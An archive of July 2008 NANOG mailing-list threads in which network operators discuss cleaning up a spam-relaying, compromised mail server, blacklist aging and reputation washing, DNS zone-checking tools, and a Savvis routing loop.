tracks by domain name and check the status of your domain and request delisting as necessary. Regards, Frank -----Original Message----- From: Nick Shank [mailto:nick at laststop.net] Sent: Thursday, July 03, 2008 5:51 AM To: nanog at nanog.org Subject: tacid.org Greetings, My name is Nick, and I have inherited admin duties for tacid.org. For an un-known amount of time (A month or more?) mail.tacid.org has been an open-relay, and sending out large amounts of spam. This should now be fixed. If anyone is having issues with this domain still, please contact me off list. Thank you, Nick From travis+ml-nanog at subspacefield.org Sat Jul 5 16:07:28 2008 From: travis+ml-nanog at subspacefield.org (travis+ml-nanog at subspacefield.org) Date: Sat, 5 Jul 2008 16:07:28 -0500 Subject: updating & checking DNS zone files Message-ID: <20080705210727.GN12413@subspacefield.org> Apart from using Bernstein's tinydns, anyone have any scripts for looking for problems in zone files or for incrementing the serial number reliably? BTW: OpenBSD packages for djbdns & others are on my web page -- Crypto ergo sum. https://www.subspacefield.org/~travis/ Truth does not fear scrutiny or competition, only lies do. If you are a spammer, please email john at subspacefield.org to get blacklisted. From cholland at rnmd.net Sat Jul 5 16:13:24 2008 From: cholland at rnmd.net (Craig Holland) Date: Sat, 5 Jul 2008 16:13:24 -0500 Subject: Savvis route loop Message-ID: <3FEEC5BE16966148B912DEB0FF34C81C04D5A7@BE09.exg4.exghost.com> Hi, Could someone from Savvis contact me off-list please. We have been stuck behind a route-loop since last night's maintenance: traceroute 208.91.191.1 traceroute to 208.91.191.1 (208.91.191.1), 64 hops max, 40 byte packets 1 FE0-0-12.nav1.nyc.access.net (166.84.1.28) 0.443 ms 0.568 ms 0.456 ms 2 port-channel1-128.l3core.nyc.access.net (166.84.66.1) 1.359 ms 1.000 ms 0.977 ms 3 gi0-7.na21.b001105-3.jfk02.atlas.cogentco.com (38.102.195.129) 1.499 ms 1.788 ms 1.312 ms 4 vl3608.mpd01.jfk02.atlas.cogentco.com (38.20.32.61) 1.861 ms 1.695 ms 3.223 ms 5 vl3493.mpd03.jfk02.atlas.cogentco.com (154.54.5.226) 2.714 ms te2-3.mpd03.jfk02.atlas.cogentco.com (154.54.3.1) 2.482 ms vl3493.mpd03.jfk02.atlas.cogentco.com (154.54.5.226) 2.634 ms 6 te8-3.mpd01.dca01.atlas.cogentco.com (154.54.5.98) 12.221 ms 8.209 ms 9.022 ms 7 vl3498.mpd01.dca02.atlas.cogentco.com (154.54.7.6) 10.168 ms vl3492.mpd01.dca02.atlas.cogentco.com (66.28.4.86) 8.746 ms 11.408 ms 8 vl3496.mpd01.iad01.atlas.cogentco.com (154.54.5.46) 17.866 ms vl3494.mpd01.iad01.atlas.cogentco.com (154.54.5.42) 11.052 ms vl3497.mpd01.iad01.atlas.cogentco.com (154.54.5.66) 8.642 ms 9 ber1-ge-7-43.virginiaequinix.savvis.net (208.173.10.181) 8.604 ms 8.954 ms ber1-ge-7-39.virginiaequinix.savvis.net (208.173.52.105) 8.373 ms 10 * cr1-tengig0-7-2-0.washington.savvis.net (204.70.197.242) 9.919 ms 10.052 ms 11 cr2-pos-0-0-5-0.sanfrancisco.savvis.net (204.70.200.194) 83.281 ms 82.172 ms 82.575 ms 12 pr1-so-0-0-0.PaloAltoPaix.savvis.net (204.70.200.193) 80.832 ms 82.515 ms 81.396 ms 13 pr3-so-0-0-0.PaloAltoPaix.savvis.net (204.70.199.106) 80.805 ms 81.499 ms 80.664 ms 14 206.24.241.202 (206.24.241.202) 94.556 ms 89.078 ms 90.265 ms 15 pr3-ge-3-0-0.PaloAltoPaix.savvis.net (206.24.241.201) 82.002 ms 81.618 ms 81.731 ms 16 206.24.241.202 (206.24.241.202) 82.548 ms 85.024 ms 90.215 ms 17 pr3-ge-3-0-0.PaloAltoPaix.savvis.net (206.24.241.201) 83.186 ms 84.437 ms 83.145 ms 18 206.24.241.202 (206.24.241.202) 94.735 ms 89.556 ms 89.939 ms 19 pr3-ge-3-0-0.PaloAltoPaix.savvis.net (206.24.241.201) 83.556 ms 84.091 ms 85.894 ms 20 206.24.241.202 (206.24.241.202) 88.289 ms 90.290 ms 89.362 ms Thanks, Craig ________________________ Craig Holland Rhythm NewMedia Sr. Director Operations & Integration YIM: cholland From randy at psg.com Sat Jul 5 16:28:55 2008 From: randy at psg.com (Randy Bush) Date: Sun, 06 Jul 2008 06:28:55 +0900 Subject: a business opportunity? (was: Re: tacid.org) In-Reply-To: References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> Message-ID: <486FE797.9070005@psg.com> > Just like I should have with my garden, rather than replant among the weed > seeds and spend 99% of my time pulling weeds, I would recommend sowing a new > field by moving your outbound e-mail server(s) to some fresh address space > (different /24 to be sure, ideally another section of SWIPed space) and > start monitoring your outgoing servers logs. You'll need to work with each > MTA that blocks your e-mail and ask them to delist you from whatever block > (domain or domain reputation) that they have. At the same time, > systematically go to every RBL that tracks by domain name and check the > status of your domain and request delisting as necessary. if the ipv4 free pool run-out produces a lot of address shifting and recycling of old address space, will there be a market in clean-up services such as the above. give them your newly-acquired address space for two months before you need to use it, and they will test and scrub and write and beg and whine on nanog? it could be that one or two reputable clean-up folk could develop history with the various blockers and be able to get the job done better than we could do it ourselves. randy From j at arpa.com Sat Jul 5 16:41:15 2008 From: j at arpa.com (jamie) Date: Sat, 5 Jul 2008 16:41:15 -0500 Subject: [OT/NOOP] Re: tacid.org In-Reply-To: References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> Message-ID: <6ff30abd0807051441x30b1be51jd4e040b8e9fd6900@mail.gmail.com> 1) I hate plants. 2) I hate analogies involving plants even more. 3) You're suggesting abandonment of "perfectly good" IP space, and that he employ stealthy and gray-hat thinking to obtain an easy out. Way to pad ARIN's wallet, btw. When I saw his e-mail, I thought, how proper of him. He's taking ownership of his problem. He wasnt asking for anything specific; infact, it seemed to me more like an offer of help ("hey, firefighter joe on the scene. i think i've pretty much pwned this fire, so, lemme know if you still see crap burning! kthx"). I think he knows the drill on what he needs to do. Don't give him evil thoughts... he'll end up just like the rest of us. :-) -j On Sat, Jul 5, 2008 at 3:21 PM, Frank Bulk - iNAME wrote: > Nick: > > Leaving a domain and IP fallow for such a long time will end up looking > like > my garden did this year when I did the same thing -- overrun with weeds. > > Sending a blanket e-mail to NANOG is not going to get the attention of > those > who manage the e-mail flow (unless you domain belonged to a Fortune 100). > > Just like I should have with my garden, rather than replant among the weed > seeds and spend 99% of my time pulling weeds, I would recommend sowing a > new > field by moving your outbound e-mail server(s) to some fresh address space > (different /24 to be sure, ideally another section of SWIPed space) and > start monitoring your outgoing servers logs. You'll need to work with each > MTA that blocks your e-mail and ask them to delist you from whatever block > (domain or domain reputation) that they have. At the same time, > systematically go to every RBL that tracks by domain name and check the > status of your domain and request delisting as necessary. > > Regards, > > Frank > > -----Original Message----- > From: Nick Shank [mailto:nick at laststop.net] > Sent: Thursday, July 03, 2008 5:51 AM > To: nanog at nanog.org > Subject: tacid.org > > Greetings, > My name is Nick, and I have inherited admin duties for tacid.org. For an > un-known amount of time (A month or more?) mail.tacid.org has been an > open-relay, and sending out large amounts of spam. This should now be > fixed. > If anyone is having issues with this domain still, please contact me off > list. > Thank you, > Nick > > > > > -- Would you like a little bit of legal advice? NEVER let a scientist use the words "unanticipated" and "immediate" in the same sentence. Okay? Okay. From vixie at isc.org Sat Jul 5 16:56:35 2008 From: vixie at isc.org (Paul Vixie) Date: Sat, 05 Jul 2008 21:56:35 +0000 Subject: a business opportunity? In-Reply-To: <486FE797.9070005@psg.com> (Randy Bush's message of "Sun\, 06 Jul 2008 06\:28\:55 +0900") References: <486FE797.9070005@psg.com> Message-ID: randy at psg.com (Randy Bush) writes: > if the ipv4 free pool run-out produces a lot of address shifting and > recycling of old address space, will there be a market in clean-up > services such as the above. give them your newly-acquired address space > for two months before you need to use it, and they will test and scrub > and write and beg and whine on nanog? it could be that one or two > reputable clean-up folk could develop history with the various blockers > and be able to get the job done better than we could do it ourselves. reputation-washing is an inherently nonscalable business. dirty blocks that go back to the washer will be harder and harder to re-clean once the victims harken to the repeat-business aspects of the activity. dirty users will go on incorporating a new LLC every week so as to appear to be a new and different entity as often as they need to, to avoid regulations linked to one's past reputation. now, a business whereby small discontugous blocks could be traded in (with some cash perhaps) for a contiguous block of the same total size, that'd be interesting. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From shrdlu at deaddrop.org Sat Jul 5 16:55:21 2008 From: shrdlu at deaddrop.org (Lynda) Date: Sat, 05 Jul 2008 14:55:21 -0700 Subject: Sure, I'm game (was Re: a business opportunity?) In-Reply-To: <486FE797.9070005@psg.com> References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> <486FE797.9070005@psg.com> Message-ID: <486FEDC9.2040908@deaddrop.org> Randy Bush wrote: >> [snip weeding one's garden theory] > if the ipv4 free pool run-out produces a lot of address shifting and > recycling of old address space, will there be a market in clean-up > services such as the above. give them your newly-acquired address space > for two months before you need to use it, and they will test and scrub > and write and beg and whine on nanog? it could be that one or two > reputable clean-up folk could develop history with the various blockers > and be able to get the job done better than we could do it ourselves. Actually, that's not a bad idea. Of course, there's the larger problem; verifying that the address space previously sullied is now worthy of being cleaned up. In Nick Shank's case (and Bravo! to Nick), I would say that he's off doing the right thing. It would seem that some serious investigation would be necessary before acting as a third party for others in a similar boat, of course. I certainly have the time, skills, and inclination. -- In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". The intervening years have proven Kornbluth right. --Valdis Kletnieks From tomb at byrneit.net Sat Jul 5 17:02:30 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Sat, 5 Jul 2008 15:02:30 -0700 Subject: a business opportunity? In-Reply-To: References: <486FE797.9070005@psg.com> Message-ID: <70D072392E56884193E3D2DE09C097A9F2E2@pascal.zaphodb.org> The real solution to the scorched earth problem is for aging from blacklists to be dynamic. If a given IP hasn't spammed or otherwise been naughty in some period of time, and the RP contact information for that netblock exists and responds, then the benefit of the doubt should go to the neblock owner/operator, and the IP(s) delisted. There's been some work done @ SRI on using a weighting algorithm that includes things like prevalence, persistence, and "badness", with a Gaussian decay function as to time, to establish cut levels for what should be blocked. Look at Phil Porras work, and Usenix presentations. > -----Original Message----- > From: Paul Vixie [mailto:vixie at isc.org] > Sent: Saturday, July 05, 2008 2:57 PM > To: nanog at merit.edu > Subject: Re: a business opportunity? > > randy at psg.com (Randy Bush) writes: > > > if the ipv4 free pool run-out produces a lot of address > shifting and > > recycling of old address space, will there be a market in clean-up > > services such as the above. give them your newly-acquired address > > space for two months before you need to use it, and they > will test and > > scrub and write and beg and whine on nanog? it could be > that one or > > two reputable clean-up folk could develop history with the various > > blockers and be able to get the job done better than we > could do it ourselves. > > reputation-washing is an inherently nonscalable business. > dirty blocks that go back to the washer will be harder and > harder to re-clean once the victims harken to the > repeat-business aspects of the activity. dirty users will go > on incorporating a new LLC every week so as to appear to be a > new and different entity as often as they need to, to avoid > regulations linked to one's past reputation. > > now, a business whereby small discontugous blocks could be > traded in (with some cash perhaps) for a contiguous block of > the same total size, that'd be interesting. > -- > Paul Vixie > > -- > This message has been scanned for viruses and dangerous > content by MailScanner, and is believed to be clean. > > > From vixie at isc.org Sat Jul 5 17:25:31 2008 From: vixie at isc.org (Paul Vixie) Date: Sat, 05 Jul 2008 22:25:31 +0000 Subject: a business opportunity? In-Reply-To: Your message of "Sat, 05 Jul 2008 15:02:30 MST." <70D072392E56884193E3D2DE09C097A9F2E2@pascal.zaphodb.org> References: <486FE797.9070005@psg.com> <70D072392E56884193E3D2DE09C097A9F2E2@pascal.zaphodb.org> Message-ID: <19988.1215296731@nsa.vix.com> > The real solution to the scorched earth problem is for aging from > blacklists to be dynamic. if we were designing a full internet system with reputation as a feature, then no doubt it would be like you're describing. however, reputation systems are a private action by private right of action and each one will have its own cost:benefit considerations. this means while it might be a good design overall, blacklist aging has to be in the interests of particular blacklist operators and subscribers, or it won't happen. it generally does not happen, since it costs more value than it produces from the point of view of a given blacklist operator or subscriber. i think there's an argument to be made that this is inevitable. every time any ISP has enforced any kind of numerical limits on abuse by one of its customers (like first hit's free, three strikes and you're out, and so on) the abusers have either rotated through providers or through identities fast enough to make their business run in spite of the limits, or they have merely counted these slaps on the wrist as part of the cost of doing business. this means if blacklist entries all aged out, then abusers and their ISPs would simply rotate through a long chain of address blocks, and we'd see a lot of address space consumed on the "waiting for reprieve" list but it would not change the overall abuse growth rate at all. that's not in the interests of individual blacklist operators or subscribers, who want to control abuse growth rate. > There's been some work done @ SRI on using a weighting algorithm that > includes things like prevalence, persistence, and "badness", with a > Gaussian decay function as to time, to establish cut levels for what > should be blocked.=20 > > Look at Phil Porras work, and Usenix presentations. can you tell me, before i invest my own time in it, whether this work accounts for the inevitable rebalancing and planning adjustments that the abusers will make if each proposed policy were rolled out? i fear that most studies in this area treat abuse like it was a natural phenomena and not the self-organized well-motivated thievery that it is. abusers aren't going to sit still while we wrap them in a gaussian decay function. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From johnl at iecc.com Sat Jul 5 17:38:30 2008 From: johnl at iecc.com (John Levine) Date: 5 Jul 2008 22:38:30 -0000 Subject: a business opportunity? In-Reply-To: <70D072392E56884193E3D2DE09C097A9F2E2@pascal.zaphodb.org> Message-ID: <20080705223830.11166.qmail@simone.iecc.com> >The real solution to the scorched earth problem is for aging from >blacklists to be dynamic. Um, this isn't exactly a revolutionary idea. Almost without exception* the blacklists that are widely used have some sort of age-out so that the remove addresses that don't continue to show bad behavior. The problem is that there's a zillion little networks with their own private blacklists, where the policy tends to be to add a block when someone complains, and then forget about it, removing blocks only when there are counter-complaints. Talk about not scaling. R's, John * - some of the for-pay MAPS lists don't seem to have an aging policy From lsc at prgmr.com Sat Jul 5 18:23:51 2008 From: lsc at prgmr.com (Luke S Crawford) Date: 05 Jul 2008 19:23:51 -0400 Subject: updating & checking DNS zone files In-Reply-To: <20080705210727.GN12413@subspacefield.org> References: <20080705210727.GN12413@subspacefield.org> Message-ID: travis+ml-nanog at subspacefield.org writes: > Apart from using Bernstein's tinydns, anyone have any scripts > for looking for problems in zone files or for incrementing the > serial number reliably? If you are using BIND, your problem is solved by DDNS and nsupdate. this has the added advantage of making it significantly more difficult for the new dns guy (or a buggy script) to take out your nameserver. From tvhawaii at shaka.com Sat Jul 5 18:48:54 2008 From: tvhawaii at shaka.com (Michael Painter) Date: Sat, 5 Jul 2008 13:48:54 -1000 Subject: (OT) IANA and ICANN domains get hijacked References: <20080705223830.11166.qmail@simone.iecc.com> Message-ID: http://www.theinquirer.net/gb/inquirer/news/2008/06/29/iana-icann-domains-hijacked From jbratton at rackspace.com Sat Jul 5 19:04:25 2008 From: jbratton at rackspace.com (jbratton at rackspace.com) Date: Sat, 5 Jul 2008 19:04:25 -0500 Subject: updating & checking DNS zone files In-Reply-To: <20080705210727.GN12413@subspacefield.org> References: <20080705210727.GN12413@subspacefield.org> Message-ID: Quoting travis+ml-nanog at subspacefield.org: > Apart from using Bernstein's tinydns, anyone have any scripts > for looking for problems in zone files or for incrementing the > serial number reliably? Check out BIND's named-checkzone and named-compilezone, depending on exactly what you are looking for. There are a number of command line parameters for fine tuning what you care about, and you can use the return value to determine if the zone is valid or not. As for the serial number, that is some simple scripting depending on what value you use for the serial number. -- Jason Confidentiality Notice: This e-mail message (including any attached or embedded documents) is intended for the exclusive and confidential use of the individual or entity to which this message is addressed, and unless otherwise expressly indicated, is confidential and privileged information of Rackspace. Any dissemination, distribution or copying of the enclosed material is prohibited. If you receive this transmission in error, please notify us immediately by e-mail at abuse at rackspace.com, and delete the original message. Your cooperation is appreciated. From paul at bertain.net Sat Jul 5 19:45:26 2008 From: paul at bertain.net (Paul Bertain) Date: Sat, 5 Jul 2008 17:45:26 -0700 Subject: updating & checking DNS zone files In-Reply-To: References: <20080705210727.GN12413@subspacefield.org> Message-ID: For incrementing your zone's serial number, I usually include zsu to whatever editor I am using. It doesn't check the zone though. You can use the aforementioned named-checkzone, etc. for that. Paul On Jul 5, 2008, at 5:04 PM, jbratton at rackspace.com wrote: > Quoting travis+ml-nanog at subspacefield.org: > >> Apart from using Bernstein's tinydns, anyone have any scripts >> for looking for problems in zone files or for incrementing the >> serial number reliably? > > Check out BIND's named-checkzone and named-compilezone, depending on > exactly what you are looking for. There are a number of command > line parameters for fine tuning what you care about, and you can use > the return value to determine if the zone is valid or not. > > As for the serial number, that is some simple scripting depending on > what value you use for the serial number. > > -- Jason > > > Confidentiality Notice: This e-mail message (including any attached or > embedded documents) is intended for the exclusive and confidential > use of the > individual or entity to which this message is addressed, and unless > otherwise > expressly indicated, is confidential and privileged information of > Rackspace. > Any dissemination, distribution or copying of the enclosed material > is prohibited. > If you receive this transmission in error, please notify us > immediately by e-mail > at abuse at rackspace.com, and delete the original message. > Your cooperation is appreciated. > > From brunner at nic-naa.net Sat Jul 5 23:37:18 2008 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Sat, 05 Jul 2008 21:37:18 -0700 Subject: a business opportunity? In-Reply-To: <19988.1215296731@nsa.vix.com> References: <486FE797.9070005@psg.com> <70D072392E56884193E3D2DE09C097A9F2E2@pascal.zaphodb.org> <19988.1215296731@nsa.vix.com> Message-ID: <48704BFE.8040208@nic-naa.net> paul, in another universe, the inhabitants are attempting to find some policy for dealing with what i'll call a temporally inconsistent name to address mapping, at a single, and also a second level of indirection. of course, just about everything that's ever been written (and re-written) on nanog about reputation and partition, whether w.r.t. port 25, or ports 53 and 80, appears to me to be relevant in this other universe. eric Paul Vixie wrote: >> The real solution to the scorched earth problem is for aging from >> blacklists to be dynamic. >> > > if we were designing a full internet system with reputation as a feature, > then no doubt it would be like you're describing. however, reputation > systems are a private action by private right of action and each one will > have its own cost:benefit considerations. this means while it might be a > good design overall, blacklist aging has to be in the interests of > particular blacklist operators and subscribers, or it won't happen. it > generally does not happen, since it costs more value than it produces from > the point of view of a given blacklist operator or subscriber. > > i think there's an argument to be made that this is inevitable. every time > any ISP has enforced any kind of numerical limits on abuse by one of its > customers (like first hit's free, three strikes and you're out, and so on) > the abusers have either rotated through providers or through identities > fast enough to make their business run in spite of the limits, or they have > merely counted these slaps on the wrist as part of the cost of doing > business. this means if blacklist entries all aged out, then abusers and > their ISPs would simply rotate through a long chain of address blocks, and > we'd see a lot of address space consumed on the "waiting for reprieve" list > but it would not change the overall abuse growth rate at all. > > that's not in the interests of individual blacklist operators or subscribers, > who want to control abuse growth rate. > > >> There's been some work done @ SRI on using a weighting algorithm that >> includes things like prevalence, persistence, and "badness", with a >> Gaussian decay function as to time, to establish cut levels for what >> should be blocked.=20 >> >> Look at Phil Porras work, and Usenix presentations. >> > > can you tell me, before i invest my own time in it, whether this work > accounts for the inevitable rebalancing and planning adjustments that the > abusers will make if each proposed policy were rolled out? i fear that > most studies in this area treat abuse like it was a natural phenomena and > not the self-organized well-motivated thievery that it is. abusers aren't > going to sit still while we wrap them in a gaussian decay function. > > > From goemon at anime.net Sun Jul 6 02:20:14 2008 From: goemon at anime.net (goemon at anime.net) Date: Sun, 6 Jul 2008 00:20:14 -0700 (PDT) Subject: apnic whois busted Message-ID: Is anyone awake over at apnic? -Dan From ops.lists at gmail.com Sun Jul 6 08:49:34 2008 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Sun, 6 Jul 2008 19:19:34 +0530 Subject: Sure, I'm game (was Re: a business opportunity?) In-Reply-To: <486FEDC9.2040908@deaddrop.org> References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> <486FE797.9070005@psg.com> <486FEDC9.2040908@deaddrop.org> Message-ID: On Sun, Jul 6, 2008 at 3:25 AM, Lynda wrote: > Actually, that's not a bad idea. Of course, there's the larger problem; > verifying that the address space previously sullied is now worthy of being > cleaned up. In Nick Shank's case (and Bravo! to Nick), I would say that he's > off doing the right thing. It would seem that some serious investigation > would be necessary before acting as a third party for others in a similar > boat, of course. There's already a bunch of companies that have built up a business model on this.. they call it "deliverability" From jlewis at lewis.org Sun Jul 6 09:43:26 2008 From: jlewis at lewis.org (Jon Lewis) Date: Sun, 6 Jul 2008 10:43:26 -0400 (EDT) Subject: Sure, I'm game (was Re: a business opportunity?) In-Reply-To: References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> <486FE797.9070005@psg.com> <486FEDC9.2040908@deaddrop.org> Message-ID: On Sun, 6 Jul 2008, Suresh Ramasubramanian wrote: > On Sun, Jul 6, 2008 at 3:25 AM, Lynda wrote: >> Actually, that's not a bad idea. Of course, there's the larger problem; >> verifying that the address space previously sullied is now worthy of being >> cleaned up. In Nick Shank's case (and Bravo! to Nick), I would say that he's >> off doing the right thing. It would seem that some serious investigation >> would be necessary before acting as a third party for others in a similar >> boat, of course. > > There's already a bunch of companies that have built up a business > model on this.. they call it "deliverability" There's a big difference though between trying to clean up the reputation of newly acquired IP space a previous "owner" abused and trying to explain away an ESP's prior spamming. My limited experience with deliverability consulting companies recently has largely been the latter. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From nick at laststop.net Sun Jul 6 10:09:16 2008 From: nick at laststop.net (Nick Shank) Date: Sun, 6 Jul 2008 08:09:16 -0700 (GMT-07:00) Subject: tacid.org Message-ID: <3766534.1215356957091.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> After doing a bit of digging, it doesn't appear the any of the tacid.org ip-space is blacklisted (one less battle I have to fight). Fortune 100? Nope. Just a small non-profit org in Tacoma, WA, that got their exchange box rooted. I'm still trying to figure out the full extent of the damage done, but this point, I believe 99.7% of the outbound mail is legit. In-bound is another story entirely, but that's my own private hell to deal with. Thanks all for the input ~Nick -----Original Message----- >From: Frank Bulk - iNAME >Sent: Jul 5, 2008 1:21 PM >To: 'Nick Shank' , nanog at nanog.org >Subject: RE: tacid.org > >Nick: > >Leaving a domain and IP fallow for such a long time will end up looking like >my garden did this year when I did the same thing -- overrun with weeds. > >Sending a blanket e-mail to NANOG is not going to get the attention of those >who manage the e-mail flow (unless you domain belonged to a Fortune 100). > >Just like I should have with my garden, rather than replant among the weed >seeds and spend 99% of my time pulling weeds, I would recommend sowing a new >field by moving your outbound e-mail server(s) to some fresh address space >(different /24 to be sure, ideally another section of SWIPed space) and >start monitoring your outgoing servers logs. You'll need to work with each >MTA that blocks your e-mail and ask them to delist you from whatever block >(domain or domain reputation) that they have. At the same time, >systematically go to every RBL that tracks by domain name and check the >status of your domain and request delisting as necessary. > >Regards, > >Frank > >-----Original Message----- >From: Nick Shank [mailto:nick at laststop.net] >Sent: Thursday, July 03, 2008 5:51 AM >To: nanog at nanog.org >Subject: tacid.org > >Greetings, > My name is Nick, and I have inherited admin duties for tacid.org. For an >un-known amount of time (A month or more?) mail.tacid.org has been an >open-relay, and sending out large amounts of spam. This should now be fixed. >If anyone is having issues with this domain still, please contact me off >list. >Thank you, >Nick > > > From jra at baylink.com Sun Jul 6 10:52:32 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Sun, 6 Jul 2008 11:52:32 -0400 Subject: updating & checking DNS zone files In-Reply-To: <20080705210727.GN12413@subspacefield.org> References: <20080705210727.GN12413@subspacefield.org> Message-ID: <20080706155232.GA16153@cgi.jachomes.com> On Sat, Jul 05, 2008 at 04:07:28PM -0500, travis+ml-nanog at subspacefield.org wrote: > Apart from using Bernstein's tinydns, anyone have any scripts > for looking for problems in zone files or for incrementing the > serial number reliably? Well, all my networks are tiny, and I've only recently started having to stir DNS zones again, but named-checkconf seems to give good hints. There are also some public-facing things at domtools.com, and of course dnsreport.com... but I see DNSreport went for-pay. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From yahoo at jimpop.com Sun Jul 6 13:55:45 2008 From: yahoo at jimpop.com (Jim Popovitch) Date: Sun, 6 Jul 2008 14:55:45 -0400 Subject: tacid.org In-Reply-To: <3766534.1215356957091.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> References: <3766534.1215356957091.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> Message-ID: <7ff145960807061155l6e229bfp585e5adb3449280c@mail.gmail.com> On Sun, Jul 6, 2008 at 11:09 AM, Nick Shank wrote: > After doing a bit of digging, it doesn't appear the any of the tacid.org ip-space is blacklisted (one less > battle I have to fight). Fortune 100? Nope. Just a small non-profit org in Tacoma, WA, that got their > exchange box rooted. I'm still trying to figure out the full extent of the damage done, but this point, > I believe 99.7% of the outbound mail is legit. In-bound is another story entirely, but that's my own > private hell to deal with. This in no way is a negative assumption on your skills. There is some important information missing from the above details. You wrote that your Exchange box was rooted, but you didn't indicate what you did to resolve that. I'm not looking for the details of what you did, just an overall statement about how you rectified it. You also indicate that you are still assessing the full extent of the damage, is that to the Exchange box or to the IP space? Thanks, -Jim P. From vixie at isc.org Sun Jul 6 14:40:15 2008 From: vixie at isc.org (Paul Vixie) Date: Sun, 06 Jul 2008 19:40:15 +0000 Subject: dns-operations@ mailing list? (Re: updating & checking DNS zone files) In-Reply-To: <20080706155232.GA16153@cgi.jachomes.com> (Jay R. Ashworth's message of "Sun\, 6 Jul 2008 11\:52\:32 -0400") References: <20080705210727.GN12413@subspacefield.org> <20080706155232.GA16153@cgi.jachomes.com> Message-ID: jra at baylink.com ("Jay R. Ashworth") writes: > On Sat, Jul 05, 2008 at 04:07:28PM -0500, travis+ml-nanog at subspacefield.org wrote: >> Apart from using Bernstein's tinydns, anyone have any scripts >> for looking for problems in zone files or for incrementing the >> serial number reliably? > > Well, all my networks are tiny, and I've only recently started having > to stir DNS zones again, but named-checkconf seems to give good hints. > > There are also some public-facing things at domtools.com, and of course > dnsreport.com... but I see DNSreport went for-pay. unlike nanog, there is a mailing list where this thread would be on-topic. http://lists.oarci.net/mailman/listinfo/dns-operations/ is how to find it. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From jeroen at unfix.org Sun Jul 6 14:45:13 2008 From: jeroen at unfix.org (Jeroen Massar) Date: Sun, 06 Jul 2008 21:45:13 +0200 Subject: updating & checking DNS zone files In-Reply-To: <20080706155232.GA16153@cgi.jachomes.com> References: <20080705210727.GN12413@subspacefield.org> <20080706155232.GA16153@cgi.jachomes.com> Message-ID: <487120C9.9010006@spaghetti.zurich.ibm.com> Jay R. Ashworth wrote: > On Sat, Jul 05, 2008 at 04:07:28PM -0500, travis+ml-nanog at subspacefield.org wrote: >> Apart from using Bernstein's tinydns, anyone have any scripts >> for looking for problems in zone files or for incrementing the >> serial number reliably? > > Well, all my networks are tiny, and I've only recently started having > to stir DNS zones again, but named-checkconf seems to give good hints. > > There are also some public-facing things at domtools.com, and of course > dnsreport.com... but I see DNSreport went for-pay. http://www.ZoneCheck.fr Of course not one is the full-check, thus you'll have to combine a couple of them or write your own check. I (well the script ;) also check the delegations from the root down and verify that all the nameservers in that tree think that they are the same SOA-wise and delegation-wise. You'll be astonished how often things break up in the tree that can cause rather odd and not easily found failures otherwise. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From nick at laststop.net Sun Jul 6 14:55:17 2008 From: nick at laststop.net (Nick Shank) Date: Sun, 6 Jul 2008 12:55:17 -0700 (PDT) Subject: tacid.org Message-ID: <13185497.1215374117673.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> Jim, ATM I have exchange set to dis-allow outbound mail, just to be safe. I want to have something more then just a simple home-level nat box before I allow anything more out, pending a full while and re-load. The damage done was to the box itself. The few pieces of email that needed to go out this weekend (seven or eight, I think) used my personal mail server as the outbound. Forgive me if I'm not making any sense, I've been burning the candle at both ends... ~Nick -----Original Message----- >From: Jim Popovitch >Sent: Jul 6, 2008 11:55 AM >To: nanog >Subject: Re: tacid.org > >On Sun, Jul 6, 2008 at 11:09 AM, Nick Shank wrote: >> After doing a bit of digging, it doesn't appear the any of the tacid.org ip-space is blacklisted (one less >> battle I have to fight). Fortune 100? Nope. Just a small non-profit org in Tacoma, WA, that got their >> exchange box rooted. I'm still trying to figure out the full extent of the damage done, but this point, >> I believe 99.7% of the outbound mail is legit. In-bound is another story entirely, but that's my own >> private hell to deal with. > >This in no way is a negative assumption on your skills. There is >some important information missing from the above details. You wrote >that your Exchange box was rooted, but you didn't indicate what you >did to resolve that. I'm not looking for the details of what you did, >just an overall statement about how you rectified it. You also >indicate that you are still assessing the full extent of the damage, >is that to the Exchange box or to the IP space? > >Thanks, > >-Jim P. > From yahoo at jimpop.com Sun Jul 6 15:01:43 2008 From: yahoo at jimpop.com (Jim Popovitch) Date: Sun, 6 Jul 2008 16:01:43 -0400 Subject: tacid.org In-Reply-To: <13185497.1215374117673.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> References: <13185497.1215374117673.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> Message-ID: <7ff145960807061301g1440b404n5b46eee5fecfd11d@mail.gmail.com> On Sun, Jul 6, 2008 at 3:55 PM, Nick Shank wrote: > Jim, > ATM I have exchange set to dis-allow outbound mail Hi Nick, I (personally) don't think that is enough. If the box was rooted, there could be bots (i.e. other processes) sending outbound email. Those processes could be persistent or periodic, and they could be additional services or sub-processes of known-good services. Further, the bots could be dynamically loaded via on-box applications (i.e. Internet Explorer, Firefox, etc.) You would need an off-box firewall to successfully block outbound SMTP connections. With most, if not all, rooted boxs there really is no safe way of securing it. Your best path forward is to (IMHO) buy an new harddrive and start from scratch, manually copying only known-good files to the new drive, preferably using an intermediate box to virus scan each moved 